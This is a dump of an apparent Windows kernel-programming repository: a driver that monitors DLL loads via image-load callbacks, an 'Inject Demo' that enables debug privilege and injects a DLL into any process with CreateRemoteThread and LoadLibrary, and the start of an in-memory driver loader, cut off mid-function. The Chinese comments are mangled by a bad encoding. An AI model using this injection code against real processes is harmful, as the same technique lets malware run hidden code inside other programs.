"/**************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2015-8-13\r\n* MODULE : common.h\r\n*\r\n* Command: \r\n* IOCTRL Common Header\r\n*\r\n* Description:\r\n* Common data for the IoCtrl driver and application\r\n*\r\n****************************************************************************************\r\n* Copyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once \r\n\r\n//#######################################################################################\r\n// D E F I N E S\r\n//#######################################################################################\r\n\r\n#if DBG\r\n#define dprintf DbgPrint\r\n#else\r\n#define dprintf\r\n#endif\r\n\r\n//ַ֧û\r\n#define DEVICE_NAME L\"\\\\Device\\\\devModuleCallBack\" // Driver Name\r\n#define SYMBOLIC_LINK_NAME L\"\\\\DosDevices\\\\ModuleCallBack\" // Symbolic Link Name\r\n#define WIN32_LINK_NAME \"\\\\\\\\.\\\\ModuleCallBack\" // Win32 Link Name\r\n\r\n//ַ֧û\r\n#define SYMBOLIC_LINK_GLOBAL_NAME L\"\\\\DosDevices\\\\Global\\\\ModuleCallBack\" // Symbolic Link Name\r\n\r\n#define DATA_TO_APP \"Hello World from Driver\"\r\n\r\n//\r\n// Device IO Control Codes\r\n//\r\n#define IOCTL_BASE 0x800\r\n#define MY_CTL_CODE(i) \\\r\n CTL_CODE \\\r\n ( \\\r\n FILE_DEVICE_UNKNOWN, \\\r\n IOCTL_BASE + i, \\\r\n METHOD_BUFFERED, \\\r\n FILE_ANY_ACCESS \\\r\n )\r\n\r\n#define IOCTL_HELLO_WORLD MY_CTL_CODE(0)\r\n#define IOCTRL_REC_FROM_APP MY_CTL_CODE(1)\r\n#define IOCTRL_SEND_TO_APP MY_CTL_CODE(2)\r\n\r\n\r\n//\r\n// TODO: Add your IOCTL define here\r\n//\r\n\r\n\r\n\r\n//\r\n// TODO: Add your struct,enum(public) define here\r\n//\r\n\r\n\r\n\r\n/* EOF */\r\n\r\n" }, { "path": "LoadImageCallBack/LoadImageCallBack/sources", "content": "TARGETNAME=ModuleCallBack\r\n#TARGETPATH=$(BASEDIR)\\lib\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES=ModuleCallBack.c\r\n\r\n" }, { "path": "LoadImageCallBack/LoadImageCallBack/struct.h", "content": "/***************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2015-8-13\r\n* MODULE : struct.h\r\n* \r\n* Command: \r\n* ͷļ\r\n*\r\n* Description:\r\n* һЩ,ظͶ; ڴҪĺ/ṹ\r\n*\r\n****************************************************************************************\r\n\r\nCopyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once\r\n\r\n#include \r\n\r\ntypedef long LONG;\r\ntypedef unsigned char BOOL, *PBOOL;\r\ntypedef unsigned char BYTE, *PBYTE;\r\ntypedef unsigned long DWORD, *PDWORD;\r\ntypedef unsigned short WORD, *PWORD;\r\n\r\ntypedef void *HMODULE;\r\ntypedef long NTSTATUS, *PNTSTATUS;\r\ntypedef unsigned long DWORD;\r\ntypedef DWORD * PDWORD;\r\ntypedef unsigned long ULONG;\r\n//typedef unsigned long ULONG_PTR;\r\ntypedef ULONG *PULONG;\r\ntypedef unsigned short WORD;\r\ntypedef unsigned char BYTE; \r\ntypedef unsigned char UCHAR;\r\ntypedef unsigned short USHORT;\r\ntypedef void *PVOID;\r\ntypedef BYTE BOOLEAN;\r\n#define SEC_IMAGE 0x01000000\r\n\r\n//----------------------------------------------------\r\n\r\n// PEB\r\n \r\n#pragma pack(4)\r\ntypedef struct _PEB_LDR_DATA\r\n{\r\n ULONG Length;\r\n BOOLEAN Initialized;\r\n PVOID SsHandle;\r\n LIST_ENTRY InLoadOrderModuleList;\r\n LIST_ENTRY InMemoryOrderModuleList;\r\n LIST_ENTRY InInitializationOrderModuleList;\r\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\r\n#pragma pack() \r\n\r\ntypedef struct _PEB_ORIG {\r\n BYTE Reserved1[2];\r\n BYTE BeingDebugged;\r\n BYTE Reserved2[229];\r\n PVOID Reserved3[59];\r\n ULONG SessionId;\r\n} PEB_ORIG, *PPEB_ORIG;\r\n\r\ntypedef void (*PPEBLOCKROUTINE)(PVOID PebLock);\r\n\r\nstruct _PEB_FREE_BLOCK {\r\n struct _PEB_FREE_BLOCK *Next;\r\n ULONG Size;\r\n};\r\ntypedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;\r\ntypedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR {\r\n USHORT Flags;\r\n USHORT Length;\r\n ULONG TimeStamp;\r\n UNICODE_STRING DosPath;\r\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS {\r\n ULONG MaximumLength;\r\n ULONG Length;\r\n ULONG Flags;\r\n ULONG DebugFlags;\r\n PVOID ConsoleHandle;\r\n ULONG ConsoleFlags;\r\n HANDLE StdInputHandle;\r\n HANDLE StdOutputHandle;\r\n HANDLE StdErrorHandle;\r\n UNICODE_STRING CurrentDirectoryPath;\r\n HANDLE CurrentDirectoryHandle;\r\n UNICODE_STRING DllPath;\r\n UNICODE_STRING ImagePathName;\r\n UNICODE_STRING CommandLine;\r\n PVOID Environment;\r\n ULONG StartingPositionLeft;\r\n ULONG StartingPositionTop;\r\n ULONG Width;\r\n ULONG Height;\r\n ULONG CharWidth;\r\n ULONG CharHeight;\r\n ULONG ConsoleTextAttributes;\r\n ULONG WindowFlags;\r\n ULONG ShowWindowFlags;\r\n UNICODE_STRING WindowTitle;\r\n UNICODE_STRING DesktopName;\r\n UNICODE_STRING ShellInfo;\r\n UNICODE_STRING RuntimeData;\r\n RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];\r\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\r\n\r\ntypedef struct _PEB {\r\n BOOLEAN InheritedAddressSpace;\r\n BOOLEAN ReadImageFileExecOptions;\r\n BOOLEAN BeingDebugged;\r\n BOOLEAN Spare;\r\n HANDLE Mutant;\r\n PVOID ImageBaseAddress;\r\n PPEB_LDR_DATA LoaderData;\r\n PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n PVOID SubSystemData;\r\n PVOID ProcessHeap;\r\n PVOID FastPebLock;\r\n PPEBLOCKROUTINE FastPebLockRoutine;\r\n PPEBLOCKROUTINE FastPebUnlockRoutine;\r\n ULONG EnvironmentUpdateCount;\r\n PVOID *KernelCallbackTable;\r\n PVOID EventLogSection;\r\n PVOID EventLog;\r\n PPEB_FREE_BLOCK FreeList;\r\n ULONG TlsExpansionCounter;\r\n PVOID TlsBitmap;\r\n ULONG TlsBitmapBits[0x2];\r\n PVOID ReadOnlySharedMemoryBase;\r\n PVOID ReadOnlySharedMemoryHeap;\r\n PVOID *ReadOnlyStaticServerData;\r\n PVOID AnsiCodePageData;\r\n PVOID OemCodePageData;\r\n PVOID UnicodeCaseTableData;\r\n ULONG NumberOfProcessors;\r\n ULONG NtGlobalFlag;\r\n BYTE Spare2[0x4];\r\n LARGE_INTEGER CriticalSectionTimeout;\r\n ULONG HeapSegmentReserve;\r\n ULONG HeapSegmentCommit;\r\n ULONG HeapDeCommitTotalFreeThreshold;\r\n ULONG HeapDeCommitFreeBlockThreshold;\r\n ULONG NumberOfHeaps;\r\n ULONG MaximumNumberOfHeaps;\r\n PVOID **ProcessHeaps;\r\n PVOID GdiSharedHandleTable;\r\n PVOID ProcessStarterHelper;\r\n PVOID GdiDCAttributeList;\r\n PVOID LoaderLock;\r\n ULONG OSMajorVersion;\r\n ULONG OSMinorVersion;\r\n ULONG OSBuildNumber;\r\n ULONG OSPlatformId;\r\n ULONG ImageSubSystem;\r\n ULONG ImageSubSystemMajorVersion;\r\n ULONG ImageSubSystemMinorVersion;\r\n ULONG GdiHandleBuffer[0x22];\r\n ULONG PostProcessInitRoutine;\r\n ULONG TlsExpansionBitmap;\r\n BYTE TlsExpansionBitmapBits[0x80];\r\n ULONG SessionId;\r\n} PEB, *PPEB;\r\n\r\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\r\n ULONG NextEntryOffset;\r\n ULONG NumberOfThreads;\r\n LARGE_INTEGER SpareLi1;\r\n LARGE_INTEGER SpareLi2;\r\n LARGE_INTEGER SpareLi3;\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ImageName;\r\n KPRIORITY BasePriority;\r\n HANDLE UniqueProcessId;\r\n HANDLE InheritedFromUniqueProcessId;\r\n ULONG HandleCount;\r\n ULONG SpareUl2;\r\n ULONG SpareUl3;\r\n ULONG PeakVirtualSize;\r\n ULONG VirtualSize;\r\n ULONG PageFaultCount;\r\n ULONG PeakWorkingSetSize;\r\n ULONG WorkingSetSize;\r\n ULONG QuotaPeakPagedPoolUsage;\r\n ULONG QuotaPagedPoolUsage;\r\n ULONG QuotaPeakNonPagedPoolUsage;\r\n ULONG QuotaNonPagedPoolUsage;\r\n ULONG PagefileUsage;\r\n ULONG PeakPagefileUsage;\r\n ULONG PrivatePageCount;\r\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_THREAD_INFORMATION {\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientId;\r\n KPRIORITY Priority;\r\n LONG BasePriority;\r\n ULONG ContextSwitches;\r\n ULONG ThreadState;\r\n ULONG WaitReason;\r\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\r\n\r\nstruct _SYSTEM_THREADS\r\n{\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientIs;\r\n KPRIORITY Priority;\r\n KPRIORITY BasePriority;\r\n ULONG ContextSwitchCount;\r\n ULONG ThreadState;\r\n KWAIT_REASON WaitReason;\r\n};\r\n\r\nstruct _SYSTEM_PROCESSES\r\n{\r\n ULONG NextEntryDelta;\r\n ULONG ThreadCount;\r\n ULONG Reserved[6];\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ProcessName;\r\n KPRIORITY BasePriority;\r\n ULONG ProcessId;\r\n ULONG InheritedFromProcessId;\r\n ULONG HandleCount;\r\n ULONG Reserved2[2];\r\n VM_COUNTERS VmCounters;\r\n IO_COUNTERS IoCounters; //windows 2000 only\r\n struct _SYSTEM_THREADS Threads[1];\r\n};\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY_INFO\r\n{\r\n ULONG AuditMask;\r\n} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY\r\n{\r\n union\r\n {\r\n PVOID Object;\r\n ULONG_PTR ObAttributes;\r\n PHANDLE_TABLE_ENTRY_INFO InfoTable;\r\n ULONG_PTR Value;\r\n };\r\n union\r\n {\r\n ULONG GrantedAccess;\r\n struct\r\n {\r\n USHORT GrantedAccessIndex;\r\n USHORT CreatorBackTraceIndex;\r\n };\r\n LONG NextFreeTableEntry;\r\n };\r\n} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;\r\n\r\ntypedef struct _HANDLE_TABLE\r\n{\r\n ULONG TableCode;\r\n PEPROCESS QuotaProcess;\r\n PVOID UniqueProcessId;\r\n ULONG HandleTableLock[4];\r\n LIST_ENTRY HandleTableList;\r\n ULONG HandleContentionEvent;\r\n PVOID DebugInfo;\r\n LONG ExtraInfoPages;\r\n ULONG FirstFree;\r\n ULONG LastFree;\r\n ULONG NextHandleNeedingPool;\r\n LONG HandleCount;\r\n union\r\n {\r\n ULONG Flags;\r\n UCHAR StrictFIFO:1;\r\n };\r\n} HANDLE_TABLE, *PHANDLE_TABLE;\r\n\r\ntypedef struct _OBJECT_TYPE_INITIALIZER {\r\n USHORT Length;\r\n BOOLEAN UseDefaultObject;\r\n BOOLEAN CaseInsensitive;\r\n ULONG InvalidAttributes;\r\n GENERIC_MAPPING GenericMapping;\r\n ULONG ValidAccessMask;\r\n BOOLEAN SecurityRequired;\r\n BOOLEAN MaintainHandleCount;\r\n BOOLEAN MaintainTypeList;\r\n POOL_TYPE PoolType;\r\n ULONG DefaultPagedPoolCharge;\r\n ULONG DefaultNonPagedPoolCharge;\r\n PVOID DumpProcedure;\r\n PVOID OpenProcedure;\r\n PVOID CloseProcedure;\r\n PVOID DeleteProcedure;\r\n PVOID ParseProcedure;\r\n PVOID SecurityProcedure;\r\n PVOID QueryNameProcedure;\r\n PVOID OkayToCloseProcedure;\r\n} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;\r\n\r\n\r\ntypedef struct _OBJECT_TYPE {\r\n ERESOURCE Mutex;\r\n LIST_ENTRY TypeList;\r\n UNICODE_STRING Name; // Copy from object header for convenience\r\n PVOID DefaultObject;\r\n ULONG Index;\r\n ULONG TotalNumberOfObjects;\r\n ULONG TotalNumberOfHandles;\r\n ULONG HighWaterNumberOfObjects;\r\n ULONG HighWaterNumberOfHandles;\r\n OBJECT_TYPE_INITIALIZER TypeInfo;\r\n ULONG Key;\r\n ERESOURCE ObjectLocks[4];\r\n} OBJECT_TYPE, *POBJECT_TYPE;\r\n\r\ntypedef struct _OBJECT_DIRECTORY {\r\n struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];\r\n ULONG Lock;\r\n PVOID DeviceMap;\r\n ULONG SessionId;\r\n USHORT Reserved;\r\n USHORT SymbolicLinkUsageCount;\r\n} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;\r\n\r\n/*\r\ntypedef enum _KAPC_ENVIRONMENT {\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment,\r\n InsertApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n*/\r\n\r\ntypedef enum\r\n{\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n\r\n//----------------------------------------------------\r\n\r\nNTSYSAPI\r\nNTSTATUS\r\nNTAPI ZwQuerySystemInformation(\r\n IN ULONG SystemInformationClass,\r\n IN PVOID SystemInformation,\r\n IN ULONG SystemInformationLength,\r\n OUT PULONG ReturnLength);\r\n\r\n\r\n\r\n\r\nNTSTATUS\r\nRtlFormatCurrentUserKeyPath(\r\n OUT PUNICODE_STRING CurrentUserKeyPath\r\n );" }, { "path": "LoadImageCallBack/ReadMe.txt", "content": "use PsSetLoadImageNotifyRoutine to monitor dll load\nwhen dll load , scan it's IAT\n" }, { "path": "LoadImageCallBack/inject/Inject/Inject.cpp", "content": "// Inject.cpp : ̨Ӧóڵ㡣\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"Inject.h\"\r\n#include \r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\n\r\n// ΨһӦó\r\n\r\nCWinApp theApp;\r\n\r\nusing namespace std;\r\n\r\nBOOL EnableDebugPrivilege();\r\n\r\nVOID InjectDll(ULONG_PTR ProcessID);\r\nBOOL InjectDllByRemoteThread(const TCHAR* wzDllFile, ULONG_PTR ProcessId);\r\nint _tmain(int argc, TCHAR* argv[], TCHAR* envp[])\r\n{\r\n int nRetCode = 0;\r\n ULONG_PTR ID = GetCurrentProcessId();\r\n cout<<\"ǰIDΪ:\"<>ProcessID;\r\n\r\n InjectDll(ProcessID);\r\n\r\n getchar();\r\n getchar();\r\n\r\n return nRetCode;\r\n}\r\n\r\n\r\nVOID InjectDll(ULONG_PTR ProcessID)\r\n{\r\n CString strPath;\r\n#ifdef _WIN64\r\n strPath = L\"Dll.dll\";\r\n#else\r\n strPath = L\"Dll.dll\";\r\n#endif\r\n if (ProcessID == 0)\r\n {\r\n return;\r\n }\r\n if (PathFileExists(strPath))\r\n {\r\n WCHAR wzPath[MAX_PATH] = {0};\r\n GetCurrentDirectory(260,wzPath);\r\n wcsncat_s(wzPath, L\"\\\\\", 2);\r\n wcsncat_s(wzPath, strPath.GetBuffer(), strPath.GetLength());\r\n strPath.ReleaseBuffer();\r\n\r\n if (!InjectDllByRemoteThread(wzPath,ProcessID)) //Զ߳̽Inject\r\n {\r\n printf(\"Inject Fail\\r\\n\");\r\n }\r\n else\r\n {\r\n printf(\"Inject Success\\r\\n\");\r\n }\r\n } \r\n}\r\n\r\n\r\nBOOL InjectDllByRemoteThread(const TCHAR* wzDllFile, ULONG_PTR ProcessId)\r\n{\r\n if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0))\r\n {\r\n return FALSE;\r\n }\r\n HANDLE hProcess = NULL;\r\n HANDLE hThread = NULL;\r\n DWORD dwRetVal = 0;\r\n LPTHREAD_START_ROUTINE FuncAddress = NULL;\r\n DWORD dwSize = 0;\r\n TCHAR* VirtualAddress = NULL;\r\n\r\n //Ŀ̾\r\n hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, ProcessId);\r\n\r\n if (NULL == hProcess)\r\n {\r\n printf(\"Open Process Fail LastError [%d]\\r\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n\r\n // Ŀзڴռ\r\n dwSize = (DWORD)::_tcslen(wzDllFile) + 1;\r\n VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), \r\n MEM_COMMIT,PAGE_READWRITE);\r\n if (NULL == VirtualAddress)\r\n {\r\n\r\n printf(\"Virtual Process Memory Fail LastError [%d]\\r\\n\", GetLastError());\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n\r\n // Ŀ̵ڴռд(ģ)\r\n if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL))\r\n {\r\n printf(\"Write Data Fail lastError [%d]\\r\\n\", GetLastError());\r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n\r\n#ifdef _UNICODE\r\n FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T(\"Kernel32\")), \"LoadLibraryW\");\r\n#else\r\n FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T(\"Kernel32\")), \"LoadLibraryA\");\r\n#endif\r\n\r\n //Ŀ̿һ߳ ִLoadLibrary(Address) Address һǶԷڴַ \r\n hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL);\r\n\r\n //Loadlirbrar(LPPARAMDATA);\r\n if (NULL == hThread)\r\n {\r\n printf(\"CreateRemoteThread Fail LastError [%d]\\r\\n\", GetLastError());\r\n\r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n\r\n // ȴԶ߳̽\r\n WaitForSingleObject(hThread, INFINITE);\r\n // \r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hThread);\r\n CloseHandle(hProcess);\r\n\r\n return TRUE;\r\n}\r\n\r\n\r\n\r\n\r\nBOOL EnableDebugPrivilege()\r\n{\r\n HANDLE hToken; \r\n TOKEN_PRIVILEGES TokenPrivilege;\r\n LUID uID;\r\n\r\n if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))\r\n {\r\n printf(\"OpenProcessToken is Error\\n\");\r\n\r\n return FALSE;\r\n }\r\n\r\n if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID))\r\n {\r\n printf(\"LookupPrivilegeValue is Error\\n\");\r\n\r\n return FALSE;\r\n }\r\n\r\n TokenPrivilege.PrivilegeCount = 1;\r\n TokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\r\n TokenPrivilege.Privileges[0].Luid = uID;\r\n\r\n //ǽеȨ\r\n if (!AdjustTokenPrivileges(hToken,false,&TokenPrivilege,sizeof(TOKEN_PRIVILEGES),NULL,NULL))\r\n {\r\n printf(\"AdjuestTokenPrivileges is Error\\n\");\r\n return FALSE;\r\n }\r\n return TRUE;\r\n}\r\n\r\n\r\n" }, { "path": "LoadImageCallBack/inject/Inject/Inject.h", "content": "#pragma once\r\n\r\n#include \"resource.h\"\r\n" }, { "path": "LoadImageCallBack/inject/Inject/Inject.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n \r\n {3072BA6A-6162-4999-9D81-F4C6842CD747}\r\n Win32Proj\r\n Inject\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "LoadImageCallBack/inject/Inject/Inject.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n" }, { "path": "LoadImageCallBack/inject/Inject/ReadMe.txt", "content": "Inject Demo to inject dll to a target process\n" }, { "path": "LoadImageCallBack/inject/Inject/Resource.h", "content": "//{{NO_DEPENDENCIES}}\r\n// Microsoft Visual C++ generated include file.\r\n// Used by Inject.rc\r\n//\r\n\r\n#define IDS_APP_TITLE 103\r\n\r\n// ¶һĬֵ\r\n//\r\n#ifdef APSTUDIO_INVOKED\r\n#ifndef APSTUDIO_READONLY_SYMBOLS\r\n#define _APS_NEXT_RESOURCE_VALUE 101\r\n#define _APS_NEXT_COMMAND_VALUE 40001\r\n#define _APS_NEXT_CONTROL_VALUE 1000\r\n#define _APS_NEXT_SYMED_VALUE 101\r\n#endif\r\n#endif\r\n" }, { "path": "LoadImageCallBack/inject/Inject/stdafx.cpp", "content": "// stdafx.cpp : ֻ׼ļԴļ\r\n// Inject.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: STDAFX.H \r\n// κĸͷļڴļ\r\n" }, { "path": "LoadImageCallBack/inject/Inject/stdafx.h", "content": "// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include \r\n#include \r\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ\r\n\r\n#ifndef VC_EXTRALEAN\r\n#define VC_EXTRALEAN // Windows ͷļųʹõϢ\r\n#endif\r\n\r\n#include \r\n#include // MFC ͱ׼\r\n#include // MFC չ\r\n#ifndef _AFX_NO_OLE_SUPPORT\r\n#include // MFC Internet Explorer 4 ؼ֧\r\n#endif\r\n#ifndef _AFX_NO_AFXCMN_SUPPORT\r\n#include // MFC Windows ؼ֧\r\n#endif // _AFX_NO_AFXCMN_SUPPORT\r\n\r\n#include \r\n\r\n\r\n\r\n// TODO: ڴ˴óҪͷļ\r\n" }, { "path": "LoadImageCallBack/inject/Inject/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h õ߰汾 Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "LoadImageCallBack/inject/Inject.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"Inject\", \"Inject\\Inject.vcxproj\", \"{3072BA6A-6162-4999-9D81-F4C6842CD747}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tRelease|Win32 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{3072BA6A-6162-4999-9D81-F4C6842CD747}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{3072BA6A-6162-4999-9D81-F4C6842CD747}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{3072BA6A-6162-4999-9D81-F4C6842CD747}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{3072BA6A-6162-4999-9D81-F4C6842CD747}.Release|Win32.Build.0 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "MmLoadDriver/MemLoadDriver/MAKEFILE", "content": "!INCLUDE $(NTMAKEENV)\\makefile.def" }, { "path": "MmLoadDriver/MemLoadDriver/MemLoadDriver.c", "content": "#include \"precomp.h\"\n\n#include \"MemLoadDriver.h\"\n\n//ļصڴ棬psBufferLengthļȣֵΪļصַ\nPVOID LoadFileToMemory(PUNICODE_STRING pUstrDllPath, PSIZE_T psBufferLength)\n{\n\tNTSTATUS ntStatus = STATUS_UNSUCCESSFUL;\n\tOBJECT_ATTRIBUTES objectAttributes = { 0 };\n\tIO_STATUS_BLOCK ioStatusBlock = { 0 };\n\tHANDLE hFile = NULL;\n\tPVOID pBuffer = NULL;\n\tFILE_STANDARD_INFORMATION fsi = { 0 };\n\tKdPrint((\"-->%s %d\\n\", __FUNCTION__, __LINE__));\n\n\t//У\n\tif (pUstrDllPath == NULL || psBufferLength == NULL)\n\t{\n\t\tKdPrint((\"%s %d: Parameter error\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\n\t//ļ\n\tInitializeObjectAttributes(&objectAttributes, pUstrDllPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0);\n\tntStatus = ZwCreateFile(\n\t\t&hFile,\n\t\tGENERIC_READ,\n\t\t&objectAttributes,\n\t\t&ioStatusBlock,\n\t\tNULL,\n\t\tFILE_ATTRIBUTE_NORMAL,\n\t\tFILE_SHARE_READ,\n\t\tFILE_OPEN_IF,\n\t\tFILE_SYNCHRONOUS_IO_NONALERT,\n\t\tNULL,\n\t\t0\n\t);\n\tif (!NT_SUCCESS(ntStatus))\n\t{\n\t\tKdPrint((\"%s %d: ZwCreateFile failed 0x%x\\n\", __FUNCTION__, __LINE__, ntStatus));\n\t\tgoto End;\n\t}\n\n\t//ȡļС*psBufferLength\n\tntStatus = ZwQueryInformationFile(\n\t\thFile,\n\t\t&ioStatusBlock,\n\t\t&fsi,\n\t\tsizeof(FILE_STANDARD_INFORMATION),\n\t\tFileStandardInformation\n\t);\n\tif (!NT_SUCCESS(ntStatus))\n\t{\n\t\tKdPrint((\"%s %d: ZwQueryInformationFile failed 0x%x\\n\", __FUNCTION__, __LINE__, ntStatus));\n\t\tgoto End;\n\t}\n\t*psBufferLength = (SIZE_T)fsi.EndOfFile.QuadPart;\n\n\t//ڴ\n\tpBuffer = ExAllocatePool(PagedPool, *psBufferLength);\n\tif (pBuffer == NULL)\n\t{\n\t\tKdPrint((\"%s %d: ExAllocatePool failed\\n\", __FUNCTION__, __LINE__));\n\t\tgoto End;\n\t}\n\n\t//ļڴ\n\tntStatus = ZwReadFile(\n\t\thFile,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\t&ioStatusBlock,\n\t\tpBuffer,\n\t\t(ULONG)*psBufferLength,\n\t\tNULL,\n\t\tNULL\n\t);\n\tif (!NT_SUCCESS(ntStatus))\n\t{\n\t\tKdPrint((\"%s %d: ZwReadFile failed 0x%x\\n\", __FUNCTION__, __LINE__, ntStatus));\n\t\tExFreePool(pBuffer);\n\t\tgoto 